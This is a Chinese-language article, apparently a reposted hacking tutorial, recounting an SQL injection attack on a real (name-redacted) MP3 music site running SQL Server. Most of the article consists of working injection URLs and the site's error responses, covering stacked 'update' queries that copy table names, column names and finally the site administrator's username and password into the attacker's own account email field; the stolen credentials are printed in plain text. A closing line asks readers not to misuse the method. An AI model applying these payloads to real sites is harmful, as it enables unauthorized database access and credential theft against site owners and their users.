有孔就入 SQL Injection的深入探討
發(fā)表時間:2023-05-31 來源:明輝站整理相關(guān)軟件相關(guān)文章人氣:
[摘要]SQL Injection這個話題越來越熱了, 很多的論壇和hack站點都或多或少地在談?wù)撨@個問題, 當然也有很多革命前輩寫了N多的關(guān)于這方面的文章, 所利用的也是許多知名的程序, 比如動網(wǎng), 塵緣...
SQL Injection這個話題越來越熱了, 很多的論壇和hack站點都或多或少地在談?wù)撨@個問題, 當然也有很多革命前輩寫了N多的關(guān)于這方面的文章, 所利用的也是許多知名的程序, 比如動網(wǎng), 塵緣雅境, 而我們也可以拿到免費的程序來看其中的漏洞和數(shù)據(jù)庫的結(jié)構(gòu), 從中來達到注入的目的, 不過如果是別人自己寫的程序, 那么我們就不知道他的源代碼, 更不知道他的數(shù)據(jù)庫結(jié)構(gòu)(數(shù)據(jù)表名和其中的字段名), 就算有個變量未過濾提交到數(shù)據(jù)庫去, 我們也是無從對其下手的, 只能利用通過猜解他的數(shù)據(jù)庫結(jié)構(gòu)來構(gòu)造相應(yīng)的SQL語句, 那么是不是就到此為止, 能猜到多少是多少呢?沒有做不到的, 只有想不到的, 我相信這篇文章對研究SQL injection朋友來說, 應(yīng)該會有所啟發(fā)。
一、發(fā)現(xiàn)漏洞, 常規(guī)注入
最近幫我們的站增加音樂, 雖然本地的電信的音樂資源庫非常豐富, 但是缺少有關(guān)歌手和專輯的資料, 所以到網(wǎng)上去閑逛找點有用的圖片和歌手簡介, 通過百度搜索到了一個mp3的音樂超市, 里面的資料還是比較豐富的, 拷貝的同時順手在他的Specialid=1817后面加了一個(單引號), 我突然眼前一亮:
Microsoft OLE DB Provider for SQL Server 錯誤 80040e14 字符串 之前有未閉合的引號。 /showspecial.asp, 行13
Specialid沒有過濾掉單引號就直接用到SQL語句中去了, 而且是SQL SERVER版本的, 漏洞的可利用性極大, 可不能就此放過這么好的練兵機會, 接著換;(分號)提交進去, 居然頁面正常出來了, 說明該變量也沒有過濾掉;號, 到這里, 我們就可以對此進行SQL滲透了, 按照常規(guī)的步驟:
1、提交
http://********/showspecial.asp?Specialid=1817;use master;--
注:--的作用是注釋掉程序中后面的SQL語句, 以防對我們構(gòu)造的語句有影響, 比如order by..
出現(xiàn)
Microsoft OLE DB Provider for SQL Server 錯誤 80040e21 多步 OLE DB 操作產(chǎn)生錯誤。 如果可能, 請檢查每個 OLE DB 狀態(tài)值。 沒有工作被完成。 /showspecial.asp, 行13
想在他的數(shù)據(jù)庫里增加一個管理員是不可能了, 我們再換一種方法
2、提交
http://********/showspecial.asp?Specialid=1817 and 1<>(select count(id) from [user])
這一句的意思是猜猜看是不是存在一個名為user的表和他里面有沒有id這個字段
一般來說:
如果不存在該表的話, 會出現(xiàn)
Microsoft OLE DB Provider for SQL Server 錯誤 80040e37 對象名 user 無效。 /showspecial.asp, 行13
不存在該字段的話, 會出現(xiàn)
Microsoft OLE DB Provider for SQL Server 錯誤 80040e14 列名 id 無效。 /showspecial.asp, 行13
注:一般來說, 第一步是猜一些公共的表, 這里所指的公共表的意思是大多數(shù)的程序員在寫設(shè)計數(shù)據(jù)庫結(jié)構(gòu)的時候會用到的常用的表和字段, 比如新聞的news表中的編號字段id, 標題字段title, 用戶表user或者user_data中的編號字段id, 用戶名字段username, 當然你也可以在該站點的登陸界面看他的原代碼, 找到用戶名和密碼的表單的name值, 那個也經(jīng)常會是表字段名的真實值, 如<INPUT type=text name=username size=15>
很幸運, 果然存在user表和id字段
3、通過提交
http://********/showspecial.asp?Specialid=1817 and 1<>(select count(username) from [user])
這里的username是根據(jù)登陸框的表單名去猜的, 恰好存在該字段。 于是在該站注冊了一個用戶名為rrrrr的用戶, 作為注入的平臺, 得到我的用戶名的id值103534
4、繼續(xù)猜下去, 這里我還是利用的他程序中的表單名, 提交:
http://********/showspecial.asp?Specialid=1817 and 1<>(select count(email) from [user])
也存在, 好了, 到這里, 我們的平臺已經(jīng)搭建好了。
二、深入研究, 讓SQL自己招數(shù)據(jù)庫結(jié)構(gòu)
很多時候, 我們只能猜到大家比較熟用的表名, 如果是非原程序公開下載的, 我們很猜到他的真實數(shù)據(jù)庫結(jié)構(gòu), 有時候猜半天都猜不到, 令人很郁悶, 那么該如何拿到他的表結(jié)構(gòu)呢?我們知道SQL SERVER的每一個數(shù)據(jù)庫都會有用戶表和系統(tǒng)表, 根據(jù)SQL SERVER的聯(lián)機幫助描述是系統(tǒng)表sysobjects:在數(shù)據(jù)庫內(nèi)創(chuàng)建的每個對象(約束、默認值、日志、規(guī)則、存儲過程等)在表中占一行, 那么也就是說當前數(shù)據(jù)庫的表名都會在該表內(nèi)有存在, (對象名 admin 無效。 大家可以看到上面出現(xiàn)的報錯把表名描述成對象)。
我們要用的是其中的3個, 描述如下(詳細的見SQL SERVER的聯(lián)機幫助):
name 數(shù)據(jù)表的名字
xtype 數(shù)據(jù)表的類型 u為用戶表
id 數(shù)據(jù)表的對象標志
status 保留字段, 用戶表一般都是大于0的
在查詢分析器執(zhí)行以下SQL語句(以我本地的數(shù)據(jù)庫為例子)
select top 1 name from sysobjects where xtype=u and status>0
我們馬上就可以得到該數(shù)據(jù)庫下用戶表的第一個表名gallery
select top 1 id from sysobjects where xtype=u and name=gallery
我們馬上就可以得到該數(shù)據(jù)庫下用戶表的第一個表名gallery的對象標志2099048
select top 1 name from sysobjects where xtype=u and id>2099048
再得到第2個表名gb_data, 這里用到的是id>2099048, 因為對象標志id是根據(jù)由小到大排列的。
以此類推, 我們可以得到所有的用戶表的名字了
接下來, 我們要根據(jù)得到的表名取他的字段名, 這里我們用到的是系統(tǒng)自帶的2個函數(shù)col_name()和object_id(), 在查詢分析器執(zhí)行以下SQL語句(以我本地的數(shù)據(jù)庫為例子):
select top 1 col_name(object_id(gallery),1) from gallery
得到gallery表的第一個字段名為id。
注:
col_name()的語法
COL_NAME ( table_id , column_id )
參數(shù)
table_id:包含數(shù)據(jù)庫列的表的標識號。 table_id 屬于 int 類型。
column_id:列的標識號。 column_id 參數(shù)屬于 int 類型。
其中我們用object_id()函數(shù)來得到該表的標識號, 1、2、3。 。 表示該表的第1個、第2個、第3個。 。 字段的標識號
以此類推得到該表所有的字段名稱
三、再次滲透攻擊
經(jīng)過上面2步的熱身, 接下來我們該利用建立好的平臺實際操作演練一下了
依然是那個頁, 我們提交
http://******/showspecial.asp?Specialid=1817;update[user] set email=(select top 1 name from sysobjects where xtype=u and status>0) where id=103534;--
服務(wù)器返回
ADODB.Recordset 錯誤 800a0cb3 當前記錄集不支持更新。 這可能是提供程序的限制, 也可能是選定鎖定類型的限制。 /showspecial.asp, 行19
出師不利, 可能該頁記錄集打開方式是只讀, 我們再換一個頁
找到http://******/ShowSinger.asp?Classid=34&SClassid=35的SClassid同樣存在問題, 于是提交
http://******/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1 name from sysobjects where xtype=u and status>0) where id=103534;--
把第一個數(shù)據(jù)表的名字更新到我的資料的email項里去, 得到第一個表名為:lmuser
http://******/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1 id from sysobjects where xtype=u and name=lmuser) where id=103534;--
得到第一個表lmuser的id標識號為:363148339
http://******/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1 name from sysobjects where xtype=u and id>363148339) where id=103534;--
得到第二個表名為:ad。 這里我們利用的是數(shù)據(jù)表的對象標志id是升序排列的特點, 以此類推繼續(xù)取……(由于篇幅問題, 中間省略n步), 最后我們得到了所有的表名, 發(fā)現(xiàn)其中有個表admin, 哈, 很可能就是管理員的列表了。
好, 接下來我們就取該表的字段名
http://******/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1 col_name(object_id(admin),1) from admin) where id=103534;--
得到第1個字段為:id
http://******/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1 col_name(object_id(admin),2) from admin) where id=103534;--
得到第2個字段為:username
http://******/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1 col_name(object_id(admin),3) from admin) where id=103534;--
得到第3個字段為:password
到此, 管理員列表的3個關(guān)鍵字段已經(jīng)給我們拿到, 接下來要拿用戶名和密碼就比較省力了, 首先拿管理員的id值, 這個比較簡單, 我就不再詳細說了。
我們拿到的id值是44
http://******/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1 username from admin where id=44) where id=103534;--
將該管理員的用戶名更新到email項 , 拿到的username為:gscdjmp3
http://******/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1 password from admin where id=44) where id=103534;--
將該管理員的密碼更新到email項, 拿到的password為:XZDC9212CDJ
怎么樣, 拿到密碼了吧?
四、總結(jié)
在我們對一個不知道原代碼的有SQL Iinjection漏洞的程序進行注入的時候, 往往很難猜到作者設(shè)置的數(shù)據(jù)庫結(jié)構(gòu), 只能通過編寫程序時的經(jīng)驗來猜幾個比較常用的表和字段, 這樣給注入帶來了很多的麻煩, 會因為猜不到結(jié)構(gòu)而放棄, 這時候大家不妨試試這個方法, 或許對你有所幫助, 這里我們通過更新我們的一個注冊用戶的信息來拿到結(jié)果, 如果是新聞系統(tǒng)的話, 可以通過更新到某個新聞的title來拿結(jié)果。
最后, 值得提出的是, 請大家不要拿該方法去惡意攻擊其他的程序, 謝謝!
上面是電腦上網(wǎng)安全的一些基礎(chǔ)常識,學(xué)習了安全知識,幾乎可以讓你免費電腦中毒的煩擾。